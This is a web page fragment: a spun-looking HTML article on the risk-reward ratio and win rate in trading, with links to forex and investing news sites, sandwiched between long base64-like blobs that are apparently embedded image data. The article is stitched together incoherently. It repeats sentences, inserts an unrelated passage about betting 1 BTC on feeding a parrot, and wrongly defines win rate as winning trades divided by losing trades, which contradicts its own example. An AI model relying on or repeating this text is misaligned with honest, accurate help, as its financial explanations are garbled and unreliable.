rm0\/uW1YVJh0mlwqnAWiXv5D7bz0hvLuyWwjzfJJSasEfE88C+Zduu9Lo+qsbS+BOosN1gmHanMqbykpbJ0zJthlCS8Z1WDPKlEkixymZEMklWFXWNQrk1CotWiNSqtbkSjw23mjUll9hyS4lxeD8ZJnITwLj4p+sYddGiN41upVw4lw0lqBeDcA66TkZanUPxyIlLjnnBEoiIsK5MZAbqSlKkkeCPJDnYT\/SQ\/EZlMaO1HSZmTSCQRny4IsDtAay1g1DvHT1y33qDasKdTajW6bTKhOly92TCJUtuPhptJGpbhbza47KSIuUz4CnWjUWp6dUelSKUqlRXKrUmqeuo1bbOFAJZH\/iupQaVKLJEkiJScmZZMh9TVCxpF\/wBCp1IjTm4ioVcpdXNa0molJiS2nzRw51E3s5\/MY\/qHpzed6vMSfCtEc8DVZuo0qJMiqcjuNkzsLbkJz4x7SlKSZcni+oB9fRy\/KhqNZiLhqTMEnSlPxSkQFKOLLS2s0k+ztZUSFYyRGZ49Z8ozkYVpNYUrT22XqTOlxnpEyfIqDqYjRtx2VOr2jbaQfkoLmIZqA6pchuJFdlOq2W2UG4o\/URFkxpOzNar9qsmzbluSiUVi09RXTaoyIqnTnQdtpbsY5KlHsOb1tHEkJTsKURZXyjdklhuVHdjOp2kOoNCi9ZGWDIaOouhuoFKjW5b7l2Ul6i2EbjltkcZe+W4Ta2o3fXHBk0hZl4vlGRGYDpvzX24rY1Bm25GK222KbOp0JNKmKc8J1UpS0pN2MZKJCSQSjPBpXtbCsmkb5QSVISo04MyIxoy5tArouGu1GWur0JUavSqfOnynoalTorsY0KNMVzPiJUaOGfJ2jG9G07DaUf0kRAGwn+khrTXLUO8NNLdj162LUhVOOUhpE6TMlk03GbU823gkJI1uLVvDwRYSWyZmouBK2aMP1YsaRqNZEy04s9uG5KdjuE64g1JLdvIcxgvXsYAR6pXtWLUaolGtWDBkV65Z5U6B36aijsnsmtbrhJwpSUpSfikZGZmRZLlHGll61u6U1+g3dCgx7htSqHS6gcHa72f2mW3mnmiWZqSlbbqD2TMzSZKLJ4ycV\/afXndk6PVoFcpsaXQJ7NRoJuMKMkqJtSHm38H4yVkrgacGWCH0tMbEqloN1yr3HUY86vXPUzqlSdjINDKVE02y222R8dlDbSC48TPJ84DNthP9JCeouPxYEiTDgqlvtNKW1HQpKVOqIskkjUZJIzPhkzIhUOFFkjIBrrRy\/bov6BcK7toFPpFQolcfpRxochUhBJS22tJm4ok7SsOYPBEWS4esfJYv7U+k6o2\/aV2Ui3Dp10qnlGj05bq5lPbjt7aX33FHsOIV4qD2UI2VuJLKh9i2rAum0F192iVqAbleuZVZc3zKjJEZbbaFtFg\/L\/w+B8nEfItHTrU2kamVW+LjrNuVRqqOKZJwmX0yosEiPdRmcnsJIlYUo\/8AMeTPmwG2SSkyI9kNhP8ASQ5LgREOQGsru1DvK3dULUtFq1IXgCvyHIrlTelkbxupaW5stNJLgRbPFSzLlLBHyi7WDVBjTC23ZsKlKrFckMvHS6S0skrkrbQalKUo\/IaQRbS1nwIi5zMiO+8rGkXRdFoXAzPQwi2Z7sxbakmZvEtlTeyR83lZ\/wBB8G69FaTqRSpL2oMaJMuAokynwahEdkRyYjumZoSZIWW1jxTUR5IzIBmFi11y7LLoN0SI7bLtXpkWc402eUtqdaSs0kZ8cEasD7mwn+khj2nVotWDYlAstl3eJotPYhG5tKUS1IQRKUW0ZngzIzIjPhnAyMBj19Va4KDbM2qWtb7VXqDDZqajOykx2z9alrMjwkuU8Eaj5iMx8SxtRCrekcDU26WotNJVMXUZ5MmammEoJRuGRnxNJEkz9YzKqRFT6bKgoWSDkMraJR820kyz\/wAjW0DSStM6ZRNJZ1ZiO0N6gzaNVFIZUTzpvJNKVtnnCSIlryR8vAB+dD9Ym9XmJ9UN6jRmzQ1Ih0th9Ts6PGXnZclGZEklL4eKgjJJkZbaj5Np7Cf6SGr9PtMrvpF1xLsvat0qXJpNA+z0IqdHW0TrRuNrU67tGfjGbSMJLgWVesbSAfk0pIjMk5P1DWli6jXhcGpN02VctrQqMxRo8eTCNuXv33W3TURKd2S2EmezkkpNWCPieRs0a+esC4od6XVfNBq8JubW6XGhQ0SGlKQw6ztYWvB+Mk9rkIBgV490Hctvaj1S2IyLcRHpFUplMRSJanSqtXTLS0ffEYyUSEoSbikkRoXtGy5k0DfiTMy4nxGirk7n+5K7cdbleF6GcC5KnBq0uW9DUqpQ3GG2UG3GdzhKD3BGnPkmtfrG9klgsAMFvP0wXQp6zALz9MF0KeswFsdlUstonoiF8O32SFwhonoiF8O32SFD8uNFIjkvttErkNaiTn\/cVd+i13AIXK1SWm1OrqMYkoI1Ge9TyF\/qMMt7XzSW6q6VtUK8okmoqNZEySVp4p8riZEXDHrFlFq5XEzTTMxHfp2NNggI\/C9M\/EI3zk\/UUJcQ82TjLiVJVxJSTyRivUwOwB56pfdVtVGy73rki2lQqvaMuWlmC674s+G1LXGTJbVzp22nEqL\/ACqT6jIbVe1YsKNcZWk\/XkJqW+TGNO6cNpL5lkmlOkndksy\/ymrIDMAGD0\/WrTeq1xq3YFw72Y9MepzZnGeS0uU0pSXGCdUgkGsjbX4pKz4pjG7+1cuej6hMafWrSKMcxcApyFViaqMU4zUZbmOZFhSyxxzyZLgA24A0xXdS9X6XqNQ7CjWlbh\/aKJPnRnXZru001FNglpXgsbR98Jxjh4pjY9x3tQLMp7E2553e\/fCyabQ22t1brhlnZQhBGpR8vIQDIAGuoustvT7qgwIEuM5Q5duTLgXU1LNCWkR32WlJUSiLZxvVGecGWzgxdRNaNOLgnx6VTbhT35LcS0ww\/HdYccNSTUk0pcSRmRkRmR8h4AZuAwiraz6c0Rs36hX9lhDz7Dj7cV5xppTC9h01rSg0oSlXA1GZFy8eBj4NU1+tpurXXblOQsqhazUZ1xyY081FcJ08febGCx688cljPEBtUBhjerthnXmrXcrrZVJx5EQ0k04bJSVJyTO+2d3vD5kmrJ8mM8B00zWrTisVxNu0+4N7MXMfp6MxnktLlMrUh1knVIJBrSpCiwR8xgM5AYLc+tumtm1WTRbiuMosuElpyWnvZ5aIyHMbCnVpQaUJPJcTMhzSdatN6zMTTolwbEtclqImPIjPMOG66SjaLZcQR4WSVbJ8h4Ms54AM5AYbVNXtPqQhapVeStaJjsA2o7Dr7hvtFlxCUISalbOS2jIjIs8THTO1r0zp7FNkvXQy41V4\/fcVUdpx7aYzsm6rYSewglHgzVgiPJcpGAzgBiidT7KO5WbS8LGmpST2WEKjuk28rY29lDpp2FK2SM8ErOCMfFja\/aWTqSzXIFxOSIclxLUVxqDIUcpSkmotynY2nSIiMzNJGRY4mQDYoDUen2u0K8Yi6rOajQoSKa7UlkRurkJbRJca2ja2c4Mm848rOSwPqsa0W\/WbitqjWwspzVaqMumy1OIcZdhusxFSNlTa0kojNJJ5S5FkZANjgMAnau25b06sNXVUokOPAqEenMGyTrzrjzrZrS2pCUmZKMkqwRZ4EMavruiaBS6PRJdmOoqMuu1zwE2UiJJJEV9KTW4T6EI3iDJOz4pkRntEZZLJgNyAMDiazWGhE6PVK+3Hl0iIuXUCXGebQltvg6tBrQW2hJkZZTkdTmvGl7LESQ7cDiEzULeZSqDIJe5SrZN5SNjaQ1ngS1EST5jMBsEBqeR3QVsypVz0qjoUUu2JMVh5ya081HdJ5aE5S5sY\/wA5EXHieMcOIyVvV2wFV4rY8Pt+ECfVEMt05uTkJTtKZJ7Z3ZuERH4m1ngfDJAMzAYRa+s2nV51FilW5X++n5ba3YxqjPNIkIT5RtrWkkrxz7JmLK7qTbFvXNRLWnz2Eyq25IbQZvoImTaaNw9sjPJZIsEAysBrLVzVOo2JIt6m0eLTCeuGQuO3OqshTMFg0o2iJbif8y+RJc5j4F56p6xWnFtmQqzLbM7hqsSikhVQcVu5D5qIlkpKcG34ufXxAbsAfFbrbtGtjw5ersKA5FYN2ctpwzZaMuXBnxMv+Rhj2uNsz6rbEC2He\/zrdfKiSkuNuMOxMwZMpKzQ4klYMo5EXDBkrPMA2aAwD\/110sTLdhuXWyg2lqb3q2XUtOKSvYVu3DTsuYVwM0mZF\/oPq1rU+y6A9Li1CqrVIhLabfZjxXX3EKcQa0FstpUfFJGf6coDKgGsJWv9jLueiWvS5L0xVwUZ6swZrUd1UZTaDbJJGskGRbW8yZn5Oye1gzIURNcbHh0qmyrlrsSNKnRUy3ExkuvssNqUaScWskYbQZl5S9kuX1ANjgMGq+tWm1Drcm3qncO6mwlsolEUZ5bcc3UpU3vHEoNCCUlSTIzVzi279UbKsWTFg3JVlsS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width=\"455px\" alt=\"what is risk reward ratio\"\/><\/p>\n<p><p>Estimating the expected return and potential loss is not an exact science, and the actual amount of risk and return may differ from your estimates. The risk-reward ratio is most commonly used by stock traders, investors and others in financial services to evaluate financial investments such as stock purchases. They sometimes limit risk by issuing stop-loss orders, which trigger automatic sales of stock or other securities when they hit a specific value. Without such a mechanism in place, risk is potentially unlimited, which renders the risk-reward ratio incalculable. These ratios usually are used to make market buy or sell decisions quickly. Any risk\/reward decision relies on the quality of the research undertaken by the investor.<\/p>\n<\/p>\n<ol>\n<li>In the case of the former, the stop-loss and target are both the same distance away from the entry price.<\/li>\n<li>Other factors such as market conditions, investment goals, and risk tolerance should also be taken into account.<\/li>\n<li>For example, if you have a 60% win rate, you are making a profit on 60% of your trades (on average).<\/li>\n<li>Most notably, the ratio does not consider the probability of an investment paying off.<\/li>\n<li>Investors often use stop-loss orders when trading individual stocks to help minimize losses and directly manage their investments with a risk\/reward focus.<\/li>\n<\/ol>\n<p><p>For example, if a stock is trading at $10, but based on some upcoming events you believed it could trade as high as $60 within a year or two, a target could be set at that level. Diversification can also help investors take advantage of different market conditions. For example, during a <a href=\"https:\/\/www.forex-world.net\/\">https:\/\/www.forex-world.net\/<\/a> market downturn, some asset classes may perform poorly while others may perform well. By diversifying their portfolio across different asset classes, investors can potentially reduce their losses during market downturns and still benefit from the potential gains in other asset classes.<\/p>\n<\/p>\n<p><p>For example, an investor who makes 10 trades, five of which turn a profit and five of which lose money, will have a win\/loss ratio of 50%. You believe that if you buy now, in the not-so-distant future, XYZ will go back up to $29, and you can cash in. You have $500 to put toward&nbsp;this investment, so you buy 20 shares. You did all of your research, but do you know your risk-reward ratio?<\/p>\n<\/p>\n<p><h2>Win rate and the risk-reward ratio<\/h2>\n<\/p>\n<p><p>The risk\/reward ratio marks the prospective reward an investor can earn for every dollar they risk on an investment. Many investors use risk\/reward ratios to compare the expected returns of an investment with the amount of risk they must undertake to earn these returns. A lower risk\/return ratio is often preferable as it signals less risk for an equivalent potential gain. Investors use risk-reward ratios to help them determine which investments to make.<\/p>\n<\/p>\n<p><p>Nevertheless, you\u2019re taking much more risk with the tiger bet  for only a little more potential reward. I\u2019ll give you 1 BTC if you sneak into the birdhouse and feed a parrot from your hands. Well, since you\u2019re doing something you shouldn\u2019t, you may get taken away by the police. On the other hand, if you\u2019re successful, you\u2019ll get 1 BTC. While not always the case, as some fantastic opportunities do occasionally occur, as a general rule the lower the risk\/reward ratio, the lower the chance of success on a trade.<\/p>\n<\/p>\n<p><h2>Relationship between Risk\/Reward Ratio and Portfolio Diversification<\/h2>\n<\/p>\n<p><p>The risk-reward ratio is a mathematical calculation used by investors to measure the expected gains of a given investment against the risk of loss. We\u2019ve looked at what the risk\/reward ratio is and how traders can incorporate it into their trading plan. Calculating the risk\/reward ratio is essential when it comes to the risk profile of any money management strategy. This leaves a relatively small distance between the entry price and stop-loss price, increasing the likelihood that the trade setup will have a good risk\/reward ratio. If you risk $1 to make $2, your risk, if you  lose, is half of your potential reward if you win.<\/p>\n<\/p>\n<p><p>In the trading example noted above, suppose an investor set a stop-loss order at $18, instead of $15, and they continued to target a $30 profit-taking exit. That&#8217;s because the stop order is proportionally much closer to the entry than the target price is. So although the investor may stand to make a proportionally larger gain (compared to the potential loss), they have a lower probability of receiving this outcome. Investors with low win\/loss ratios should focus on investments with lower risk\/reward ratios to ensure that their profits from winning trades exceed the losses from their more frequent unsuccessful trades.<\/p>\n<\/p>\n<p><p>By comparing the amount of money you stand to lose versus the amount you stand to gain, you can make better decisions about where to put your money. These methods can help investors identify factors that could impact the investment&#8217;s value and estimate the potential downside. One of the ratios used alongside the risk\/reward ratio is the win rate. Your win rate is the number of your winning trades divided by the number of your losing trades. For example, if you have a 60% win rate, you are making a profit on 60% of your trades (on average).<\/p>\n<\/p>\n<p><p>If the risk-reward becomes unfavorable, don&#8217;t be afraid to exit the trade. Never find yourself in a situation where the risk-reward ratio isn&#8217;t in your favor. A trendline is used to estimate where an area of support could develop. Wait for <a href=\"https:\/\/www.investorynews.com\/\">https:\/\/www.investorynews.com\/<\/a> the price to stop falling (during an uptrend) showing the pullback may be over (there are no guarantees in trading). Once the price begins to move back higher, a long entry (buy) is taken, with a stop-loss placed below the recent low.<\/p>\n<\/p>\n<p><img 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ZG0ue4NA7yThAekUAV1GTgVUX+sFHQBERAEREAREQBERAEREAREQBERAEREB85m\/vh+NO\/uVCpaOKtrKlsxd5LiRg\/KopE1pq42tlL4JDjB8yLkFZRStZcIaMhjg573dQ1q80lyhq3mINcx468rkBOIqfNeIYpHRxwvk5DhxHcFHfXQR0zap5Ia4dBjqUBMopGlusVTKIjE9hd8EnuK+T3iCKQxRxvlLeji3uCAn0UtDXQVFO+ePOGDq096lTfIOzDmwvc7zgeb8KAqa+Oc1jS9xwAMkqDBWQT05qWuwwZ5s+ZSMt4gmjkjEUga5paHkdMoCoR1MEkRmZK0sHe7uCiNc17Q5jg4HuIOQqPSCI2aTtmuLA4kgHB8ymY6qGjtsczI3lncAT170BUEVNde6drwBFI5ndzgdFNVFbBTwtmcS4P+CG95QEwipr7x2bxHJRStce4HvVRQH1ERAEREAREQBERAQaqCKphMMpwHd3pyqTIKyzOaWzdpC44DT\/Z5lVaulZWRdk5zm4PMCPMVKss+ZGvqqqScN7gf\/VAQq4+5q6CvaMNkwHf8\/MvsH\/Tbs+fOWQDDfR\/z3qPeRH7hdz+Yjl+dLPB2NGHH4UnlH5vMgJKlpYqu4VLZgS1rieXOM9V5o6GCWungfzGOInDc9\/VVKmofc9RNP2nN2vmxjHVfaei7Cqmqe05u1\/c4xhEGSVrYIbhUwMzyAdB+FQrbRQVck5nBcGuwBnHeqlBQ9hVy1Xac3afucdy+UND7jMh7Tn7Q57sYRAp1roYKh8zZg5zYzhrc4Hzr1bHvhirWxk\/rYJb8\/VT9FQ+43Su7Xn7Q57sYSkoBTOmcZOcTHqOXGP+coCkU0Xawue6gknc4n9cD8dVNQ00n3MlZVxH9by6MO83RRfuO6NxNLWyRNJ7h\/6qbgo2Q07qdz3PD88xPecoCTstNAYG1PJ+ugkc2VAttHDVSzunBcGO6DOB86naO2upJeYVT3MGcM83VRKKh9xulPa8\/aOz3YwgJNwDb5G0dwZgfiK8UkEVfXVL6oF3KcBuSPOp51DzV4re17hjlx8npUKe1CSc1EFQ+FzvhcqA8VUNDSUohl53s7QlrQeufQpCdoimhfHRvpvK6Euznqqm+0xPpRT9q7ma4u5z35KhmzOcWvkrHvc0g5cM9PR3ovIPNZ\/fem+YfyqqqUmoe2rI6vtcdn+5x3qbT0AREQBERAEREAREQBERAEREAXwnAyV9XiaMyxPja\/lLgRnHcgKJDXwNr5qqdr3B3ks5RnootmqGNqZadhPI\/LmZ7\/8AnCqNFSNo4BCHcxySTjGVDmt\/aVjKxkvIWYyMd6eAU2amNLLJJWUhmjech4cRhRbhIySGkhhcRC\/0+ju6qM6zyOJaK6QRE55P+Spia2081Mym6tEfwSO8IDy230tK9s8ILXNB6Z+F0VKpmmo7SWSifUuc7q4PxhVSltpglbLLVPlLBhoPcF4fZ+WRz6WrkgDu8D\/1QEGjiqIaKqZLG5jeUlod8yh0Nvp56B88oLn4djr8HCqEND2VPLCZ3PdKDlzvmXqlo\/c1KabtObOeuMd6AplPNIyyzFrj0dyg+gHC9st9KbX7owe05Obmz5\/Qp2mtzIKV9LI\/tGyEknGFAbZQAWPq5HRd4Z3DKMIgR\/3if8\/9a+Vf95af5x\/Wp5tu5aA0Xbd5zzcvy+hJbb2tHHSdtjs8eVy9\/wCBGESNfQU9PQsmYHdpkZcT35Xqvc58NE5+XggFzPO7oFUKuj91Uop+05cY64z3KnXNnZPpYC4sDG47bB6IPQ+x0sdXXNkio3RwNHlBzeXJVZVCjlnZVRMpa99TzHygQcAfhVdQBERAEREAREQBERAEREAREQBERAEREBRbfPDT1tSZpGsBJxn50q5m3KthhpsubGcudj8f8iqLrdRPcXup2kuOSeqixQQwDlhiawfIEXAKPVc8V2c90\/Y8wHK8t5h3KNTxxy3COZ1xbNIAegZjphVKangqBiaJrwO7I7l5ho6anPNDC1p9OOqApMzoad8tRQ1\/K4k80ZHecpXzPqKSlqZGYbzHmA7lVHW+ic\/ndTMJJyVFdFG9nZuY0t7sEdEBLCtopnRxxua97vgAD4PT\/cqVQvfE6VhrhTODuoczOfwqtw0dNA7miha13p86+S0VLO7nlga53pQEjRxRsiq3x1QmLm+UQ3Azgr7aGt+50h5RklwPy9FPx00ETDHHE1rXd4A719igihj7KJga0+ZAUakDnWipDe\/mz\/IosFZSNtRhc4c\/KW8uOpKqkNPDTtLIYw0E5IC8NoaRj+0ZTsDvSAgKZT\/3jm+c\/wBSVH944fnH8pVVFLTthMDYgIz3tXx1JTuhFO6IGNvc1R8gka9rW2hgDQAAzHRQKt2KOh68ruhDz3D51V3wQyR9i9gLOnRSNxopn9j7njD4ou+POMqhHimHumrZPU1kDnR\/BbGe9VVUX7ny1E0ZZRClaw5cefJKrSAIiIAiIgCIiAIiIAil6uuhog0zBx5u7lGVK\/d2j\/eS\/wCqP7UBUHMY8Ye0OHoIyvoAAwBgBQ6edlTC2aMENd3Z715q6kUkDpywuxjoEBHRQ6eYTwsmDS0PGcFREAREQBERAEUnQVrqx0ocwN7N2Bg96nEAREQBERAEREAREQBERAEREAREQBERAEREAREQBEUOeZlPE6Z4Ja3qcd6AiIqb93aP95L\/AKo\/tUzR18NbzdiHjkxnmHpQEyi+E4BPoUtQ1orWPeIyzlOOpzlATSIiAIiIAiKTNa4XEUXZjlLc82evcgJxERAF8c1rhhzQR6CF9RAeWxxs+AxrfmGF6REAREQBERAEREAREQBERAEREAREQBEXmTnEbjGAX4PKD6UB6RUeevu1MWNmihBecN8\/9anaSSv5nGuZGxgGQQfP+NATaLx2sZIAkbl3d171LULqx0swqZGOaD5IaQcfiQE4i8GaIO5TKwH0cwyvrnNYOZ7g0eknCA9IvBljBDTI0E9wz3r0SB1KA+oofuin\/wDjx\/6wUjVzytudPGyVwY7GQD0KAqSLy5zWDme4NHpJwvrXNeOZrgQfODlAfUREAREQBERAEREAREQBERAEREB8IB7xlUqgAN2qegwM\/wAqqyplFDKy51Ejo3Bjs4JHQ9U9Qz7dKmop5YG05+ET5OOhXyc3CmoppJ52ueS3lwO70juX26QyyVNM6ONzg13UgZx1Cj3SN8lE9kbC5xx0Aye9PQepD56ySghfBI1r3AF73dMD0qUbWVdNUxtkq46hrzghpBwvdVTVL7dTNZG48gy9nn\/EoDqeeSWGSO3GFjXDOAST8pV9SehNV1VWR17IKZ2eZvRp7s9eq8sqK+kro6eqlEjZfR8qiVEMrrvDK2NxYAMuA6DvXyvhmfcqaRkbnNbjJA6Dqoin2aeqqK59HDOIGxjOcZLl5tstZNVSNkqedkXQ9O\/5VK1X65cJs05qQOgDSRy\/iU7bamEvdSNpTA8dSD50QZBtUghbWSu7mOz\/ACqE2srqhrqhtbDFg9Iy4AlR7fSyujq4pI3M7QkAkY9Klo4JqYGGa1CYg9HjKAqluq3VlMJHgBwPK7CmlLUDHMp\/Lp2wkknlaplAEREAREQBERAEREAREQBERAEREAREQBERAF87+9fUQFJuAAudKAPOP5VN3KR8FG+SE8rhjqB8ql6+GV9xppGRuc1pGSB0HVTF0Y+SieyNhc446AZPenoX1INEbjOWVMsrREWnyPOenevNtnqp6ec84dI04Zn04U3RscyiiY5pBDOoI6qn0VLU+4amIMcx7z5ORjKER4nnuFM3tX18TnA9YwRn8SmK2tmbQQ1MR5HPIzj5lI+5qh1OYRbcPb1Mhzk\/Mpqqp53WunjbE8vaRloHUIDzUT3WnY2skkYGuPwAO5TFbWzNZTtgcIzPjyj3NH\/JX26RSyUDGRxuc4FvQDJ7lK3HmDKOFzS8hgzF1yThAenm4R10dIK7n5uucDp869v\/AL\/N\/wAz+pQ6SpgpJmtfbnwmToHEkn\/eo7oZfu02bs3cnL8LHTuVQIU9dUVFTJDBUR07IzjmeQMlRrbWzSzPpZ3tkcwZD29xUrPRy01VJL7iFTHIcj5FN25ju0dIaBtO3GB6SogyoIiIAiIgCIiAIiIAiIgCIiAIiIAiIgCIiAIiIClXr9lpf84\/1Kcr\/wD2Gb\/MXivoXVb4XNeG9mcnPnUephM9O+EEAubjJU9B6lOtVBE+KOrkc4vBy3r0GF8tnKJ60vOACcn0DJVQoqd1LTMgc4OLc9R86gU9uMTqjtJA5s\/Tp5lWEUyWKhML3U8NS8t\/95jyc\/KpiR7n2JpeSTnHX51EbaKkMdB7tPZHOGgKMbc824UXaN5gc82OnflAiSmt8YtwrHSPdLyh2Sf9y91csj7TTuc84cQHdergp+WkdJQe4w8B3KG583RU+4x+56alpifKaekmcAICGaekrKqKOigeGD9lPXAUxWANutIB3AAKA+prKZ7Ozr2VBcccreqqM9E+ashqg8AR94PegKdVv903F8c0c0kcfQMjGSotuZLFXERQTxwOHUSDuUzVW18k\/uqmnMUh7\/lXuko6qKXtairMvTAb5kQZOIiIAiIgCIiAIiIAiIgCIiAIiIAiIgCIiAIiIAiIgJKS2NMzp4KiWFz+ruU96iUtBFTPdLzukkf3vcclTKIAiIgCIiAKv6L0LqLX9yntOmqaKapp6d1VI2SVsYEYc1pOT8rx0VAWbOEz\/D+7\/wABTfz8K53V9vJo6WTYxV3RVq\/Bzurbc9HSybGKu6KtX4MJqv6K0PqHcC7SWXTVNHNVRU7qlzZJWxgRtc1pOT073joqAs1cJf8AjJr\/AOBZ\/wCehTq21PR0smxiruirV+B1bano6WTYx13RVq\/BhZzSxxY7vaSCvim4aCsul3ZbbfTvnqqqoEMMTBlz3udgAfOSswVWzO2uhoqen3W3Hko7rUxiT3FbYDKYR\/1iGvOPQS1oPXGcFZbXUcGm4wyW5S8RinJuvPCvj6me11HBpuMMluUvCinJv34V8fUwoiyZuBs2zTunYtc6P1HDqLTczg11RGzlkpySAA8ZPnOD3EE4ICp912sNDtXbN0KK+e7Iq2o9z1FJ7m5DTHme0kv5zzeUwD4I+ECscfVtTLCE4z4lLtXDvu\/9LVcP70YY+q6mWEJxnxKXauH+b2arh\/eiw0V\/bQ7T1G610r6Jt4Fsp7fTtmkqDT9t5TnYazl5m94DjnP7nuVtaz0xVaM1Tc9L1kolkt05iEgby9ozvY\/GTjmaQcZOMrdDe18mzLUjL\/Mira58P+PU3Q3tfJsy1Iy\/zIq2ufD\/AI9SjKq6X0zd9Y32m05YoWS11Xz9kx7wwHlaXHqeg6NKufcba5u3lk07X1V+91V19pvdMlF7l7P3KOVhILuc83V+Pgj4JVjwVE9LK2elnkhlbnlfG4tcPN0ITFsx3cDy6svNpNp1ateOG1f7+jLi2Y7uB5dWXm0m06tWvHDav9\/RmUvFj3b\/APlFF\/t0f9qeLHu3\/wDKKL\/bo\/7V44fbzd6rd6wQVV1rJonGp5mSTuc0\/wDR5O8Eq3tyL7e4dxNUxRXiuYxl6rmta2oeA0Cd+ABnoFxFl6s9x6fxIcRUr7H6tqvz\/Q4izdWe49T4kOIqV9j9W1X5\/oWxd7XWWS61lmuDGsqqCeSmma1wcA9ji1wBHf1BUor1222yvu6V1qm09ZHSUdI3tq+41OXNiByfT5TjgnGR3EkhXrT7X7FXesGm7Lu9U\/dlzzEyWal\/6LJIOmGkta05PcRIc+bOQujn6vr6s\/g5G5Sik5dsZPt+rpOvf3o6Gfq+vqz+FkblKKTl2xk6+rpOvf3owqiuDXWh73t7qGbTt9jb2sYEkUrDlk0RJ5XtPoOD8xBHmVvro4ssM8Flxu4vlM6OLLDPBZcbuL5TL60dstr7XdmF+07b6aajMroQ6SpZGeZuM9Cc+dVzxY92\/wD5RRf7dH\/arks1TUUnChc56SokhkF1GHxvLXD9fi84WFP1Q3\/\/AOeXD\/aX\/wBq4GvsdS3smb4M4RjCbiri2+K5vuXv7HB18\/Ut3Jm+DOEYwm4q4tvivXuXv7Fw6Q2q1RrTVdw0dbHUcNfa2zOqTUTFsbezeGOALQ4k8xAGArUq6aaiqpqOoaBLBI6N4ByA5pwevzhX5stpG8a91lU2616vrLBVMoZal1bTh7pHjnY1zDyvYevPk9fN3KiaI0ada65o9GuuZpDWTSxmqMPacvIx7s8nMM55cd\/nXvW4sWbMs2RVjim0k7XDbd83dcJcqj3rcWLNlWbIqhFNpJ2uHbv1uuEuVRbKLMtXsrofQtW+LdXcUUJllkFHS0FOZKiWFriGTPDQ\/sw4DIBB9HNkECn7g7N2izaQi3E0FqkX3T73tZKZGBssPMeUE937otaQWtcCR09GGPrmnlnGEW6k6jLtkot+yk1VmvH1vTyzjCLdSdRl2yUW\/ZSqrMVIry2v2wvG6F7kttvqGUlLSRiWsrJG8zYWHoOmRzOODgZHcevRXpUbX7KXKs\/U1pjdqQ30uMUTqunPuSaUfuRIGhoBPQEOd3jHMcZ2bHV9bWyvDJtySt1Fy7V7ypOjbsdW1tbK8Mm3JcuouXaveVJ0WnuPtf8A3PrPpm7fdz3f+qOkdVdn7m7LsMMidy553c37L34Hd8vTHdVQR1T2y9o+ORnc5pWw\/E9Q1Nr07t3bKxobUUlvnglaDkB7WUzXDPn6grAS19C28m7oQz5ZW25c8ekml448JGvoe1k3dGGfLK23Lnj0k0vHHhIko7YwStmnnkmcz4POegV73PbDWdn0fSa7r7V2doreTs5A8Fwa\/PI5zR1a046E\/vm+kKn6K01Uax1Xa9M0uQ64VLYnOH7iPve78DQ4\/gW0tTfrLrfVmrNjIeyjtsFkipaAMd5EU8PVwA85aXx9P+xK83WOr5On5YQwxTSXdP6QtK19eb\/Rnm6x1bJoZYQxRTSXdP6QtK19eb\/RmoCKNW0dVbqye31sLoailldDNG7vY9pIcD8xBWUtLbBVOqNC2vXTNWUdDS1c0orRVRBkdFBG6RplMhf5fVjRy4Hw+\/AJXU29\/W0cccueVRk6T5dum\/S\/Y6m1v6+lCOXPKot0ny7dN+l+xidFm6ybTbJ6wnGntKbq1sl8ewmL3RRGOGUjvDWua3PzB5OMnBwsS6n05ctJ6hrtNXVjRV0ExhfyElrvQ5uepBBBHTuIWvU6ng3MjwwtSSupRcXXvTS4NWr1LBt5HhhakldSi4uvemlwUtX9tHtV\/dUrrlRfd77l\/c+nbPze5e358nGMc7cfP1V2RbH6O0fYqO8bw63ls9RcWgwW+jh55mec82A4nGRnDcA\/ujlZI2F0FaNOV111JpPVUF\/sNyozDHOGGKaCVjgTHKw9QcHIOB8wyM8Tq39RYoaWSenJqS4jLtfa3fKTa7Xxf9ji9V\/qHFDTyT1JNSXEZdr7W75SbXa\/X+xqapq1WyrvVzpLPQMa+prp46aFrnBoL3uDWgk93UhSquPbf\/GHpj+GKP8Anmr6bYm8WKU4+Um\/4Ppc83ixSnHyk3+yJPVmlLzoq+T6dv8ACyKtp2sdI1kgeAHNDh1HTuIVOoaOe41tPb6VodNVSshjBOAXOIA6+bqVkviW\/wAb92\/7ml\/mGKxNIf4WWT+Eab+davJp7U9jQhtTrulBS+ltWeTT2p7GhDZn+aUFL6W1ZH1loq\/6Cu4sepKeOGrMLZw2OUSDkcSB1HTzFUBz2tc1p73dyzLxWf40GfwXB\/xSLzBsvoXR9toblu\/rya11t1gE0FvoacySQs7\/ACzyu9OD5IGcgE4Xi1usw\/BYM+x+fIrSim2360lb4PHrdYj+Cw59j8+RWlFNt+rpK3wYeRX9r\/R23Vos1Nf9B7g\/dmOoqPc5oZoOzqIujiXuzykN6AdWDJPQnzTW320MWo9P1OudX6gi0\/pmkcWGpeznkncOhEbfn6Z6knoATnHsfVNaOv8AiZtpXVOLUr9u2rb+yPY+qa0df8TNtK6pxad+3bVt\/ZGN0WZv7i+hdaW+sn2g17Lda+3xGWW3V8BilmHpY4tZgeb4JGSASMrDUkb4nuikY5j2Etc1wwQR3ghbNPfw7vcsdqUfKaaavxadPn0M9Tfw7vcsdqUfKaaavxadPn0Lk0Pt3qjcSqqaLS9LDPLRxtllEkzYwGk4HV3f1V4+LHu3\/wDKKL\/bo\/7VjClrq2hc59FWT07nDDjFIWEj5cLYHhSuVxra\/VArbhU1AZRRFollc\/lPM\/uyei5fXNnqHT8E9vBOPZGuHFt8tLz3L39jmdb2d\/Qwz28Eo9sa4cW3y0vPcvf2LKm4aN2IInzyWijDI2lzsVsfcBn0qlaV2q\/VNtxf9wfu97m+4b3s9ye5eftuVjXfD5xy\/Cx8E9ytA6gvxBDr3XkHoQal\/wDas\/bE2Ku1PsdrDT1tMQqbhWvgjdK7lY0uiiHM4+gDqcAnp0ytfUdrf6bq\/Gz5Y\/mgrUapN\/NduXp9qNfUdne6drfGz5Y\/mgrUapN\/NduXp9qNckWZ7ftnsTLVt03VbvVEl5fJ2AmhpS2j7TuwHlpaRnpntMHp1Vg7k7fXTbTU0mnLnPHUAxtnp6iMYbNE4kB2MktOQ4EekecYJ6et1XX2svwI2pVaUouNr3VpWdPW6rr7WX4EbUqtKUXG17q0rLWRZR0js7bJdKxa\/wByNUt07Yqh3LTMZH2lTVDOMtaMkZwceS44BOAOqnbpsxpi\/wCna\/U+0Wsn36O1t5qugqYDFUtaBkubkNz0BIHKM4IBJGFrl1vThkeNydJ9rl2vtUvZyqr\/AFNcutaccjg5Ok6cqfan7OVVf6mIURF1jqhERAF5fGyRvLIwOHoIyvSICFHTU8J5ooGNPpDVFREAREQBERAEREAREQBERAEREAREQ